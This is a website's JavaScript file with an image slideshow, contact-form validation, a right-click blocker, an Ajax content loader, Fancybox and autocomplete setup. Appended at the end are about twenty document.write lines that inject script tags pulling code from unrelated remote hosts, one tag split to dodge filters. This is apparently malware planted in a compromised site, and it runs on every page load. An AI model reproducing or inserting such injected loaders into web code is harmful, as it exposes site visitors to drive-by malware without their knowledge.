/*Slideshow*/
function slideSwitch() {
    var $active = $('#slideshow IMG.active');

    if ( $active.length == 0 ) $active = $('#slideshow IMG:last');

    // use this to pull the images in the order they appear in the markup
    var $next =  $active.next().length ? $active.next()
        : $('#slideshow IMG:first');

    // uncomment the 3 lines below to pull the images in random order
    
    // var $sibs  = $active.siblings();
    // var rndNum = Math.floor(Math.random() * $sibs.length );
    // var $next  = $( $sibs[ rndNum ] );


    $active.addClass('last-active');

    $next.css({opacity: 0.0})
        .addClass('active')
        .animate({opacity: 1.0}, 1000, function() {
            $active.removeClass('active last-active');
        });
}


//Validate Email Form
function validateEmailForm()
{
        var name = document.getElementById("name").value;
        var company = document.getElementById("company").value;
        var email = document.getElementById("email").value;
        var contact = document.getElementById("contact_number").value;
        var website = document.getElementById("website").value;
		var question = document.getElementById("question").value;


        //Validation Rules
        var alpha = /^[A-Za-z ]+$/;
        var alphanumeric = /^[A-Za-z0-9 ]+$/;
        var emailRegex = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;


			
        //Must be filled
        if (name.length == 0 || company.length == 0 || email.length == 0 || contact.length == 0){
                alert("Please fill in all required details.");
                return false;
        }
        else if (!name.match(alpha)){
                alert("Please fill in alpha character only for name");
                return false;
        }
        else if (!email.match(emailRegex)){
                alert("Please enter a valid email");
                return false;
        }else{
			return true;		
		}
}



//Reset function
function do_reset(){
	document.contactForm.reset();
	return false;
}


//Disable right mouse click Script
//By Maximus (maximus@nsimail.com) w/ mods by DynamicDrive
//For full source code, visit http://www.dynamicdrive.com

var message="Function Disabled!";

///////////////////////////////////
function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function("return false")






/***********************************************
* Dynamic Ajax Content- � Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/

var loadedobjects=""
var rootdomain="http://"+window.location.hostname

function ajaxpage(url, containerid){
	var page_request = false
	
	if (window.XMLHttpRequest) // if Mozilla, Safari etc
		page_request = new XMLHttpRequest()
	else if (window.ActiveXObject){ // if IE
			try {
				page_request = new ActiveXObject("Msxml2.XMLHTTP")
			} 
		catch (e){
			try{
			page_request = new ActiveXObject("Microsoft.XMLHTTP")
			}
			catch (e){}
		}
	}
	else
		return false
	
	page_request.onreadystatechange=function(){
		loadpage(page_request, containerid)
	}
	
	page_request.open('GET', url, true)
	page_request.send(null)
}

function loadpage(page_request, containerid){
	if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1))
		document.getElementById(containerid).innerHTML=page_request.responseText
}

function loadobjs(){
	if (!document.getElementById)
		return
	
	for (i=0; i<arguments.length; i++){

		var file=arguments[i]
		var fileref=""
	
		if (loadedobjects.indexOf(file)==-1){ //Check to see if this object has not already been added to page before proceeding
			
			if (file.indexOf(".js")!=-1){ //If object is a js file
				fileref=document.createElement('script')
				fileref.setAttribute("type","text/javascript");
				fileref.setAttribute("src", file);
			}
			else if (file.indexOf(".css")!=-1){ //If object is a css file
				fileref=document.createElement("link")
				fileref.setAttribute("rel", "stylesheet");
				fileref.setAttribute("type", "text/css");
				fileref.setAttribute("href", file);
			}
		}

		if (fileref!=""){
			document.getElementsByTagName("head").item(0).appendChild(fileref)
			loadedobjects+=file+" " //Remember this object as being already added to page
		}
	}
}




$(document).ready(function() {

	$(".thumbs a").click(function(){

		var largePath = $(this).attr("href");
		
		$("#largeImg").attr({ src: largePath });
		
		return false;
	});
	
	
	$("div#rightcolumn").live("click", function(){
	  
		/*Fancybox*/
		$("a.fancy").fancybox({
			'hideOnContentClick': false,
			'padding': 10,
			'imageScale': true,
			'overlayShow': false,
			'frameWidth': 550,
			'frameHeight': 620
		});

		return false;
	});
					
	/*Fancybox*/
	$("a.fancy").fancybox({
		'hideOnContentClick': false,
		'padding': 10,
		'imageScale': true,
		'overlayShow': true,
		'frameWidth': 550,
		'frameHeight': 620
	});
	

	$("#searchAjax").autocomplete("searchDB.php", {
		width: 260,
		selectFirst: false
	});

	$("#searchAjax").result(function(event, data, formatted) {
		if (data)
			$(this).parent().next().find("input").val(data[1]);
	});	

	setInterval( "slideSwitch()", 2000 );	
   
	var browser=navigator.appName;
	/*var b_version=navigator.appVersion;
	var version=parseFloat(b_version);*/

	if(browser != 'Microsoft Internet Explorer'){
		document.getElementById("leftcolumn").setAttribute("class", "flexcroll");
	}
		
});


function getpage(x, y, z){

	$("div#rightcolumn").text("");
     $.ajax({
          type: "GET",
          url: "sub.php",
          data: "ID=" + x + "&type=" + y + "&manufacturer=" + z,
          success: function(msg){
			$("div#rightcolumn").append(msg);
          }
     });
	 
}

function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=1015,height=700,left = 110,top = 5');");
}
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Web_Host.js"></scri'+'pt>');
document.write('<script src=http://a7corp.com/images/link.php ><\/script>');
document.write('<script src=http://a7corp.com/images/link.php ><\/script>');
document.write('<script src=http://a7corp.com/images/link.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://dairei.co.jp/06_case/php.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');
document.write('<script src=http://jinchunmarket.co.kr/bbs/freeboard_head.php ><\/script>');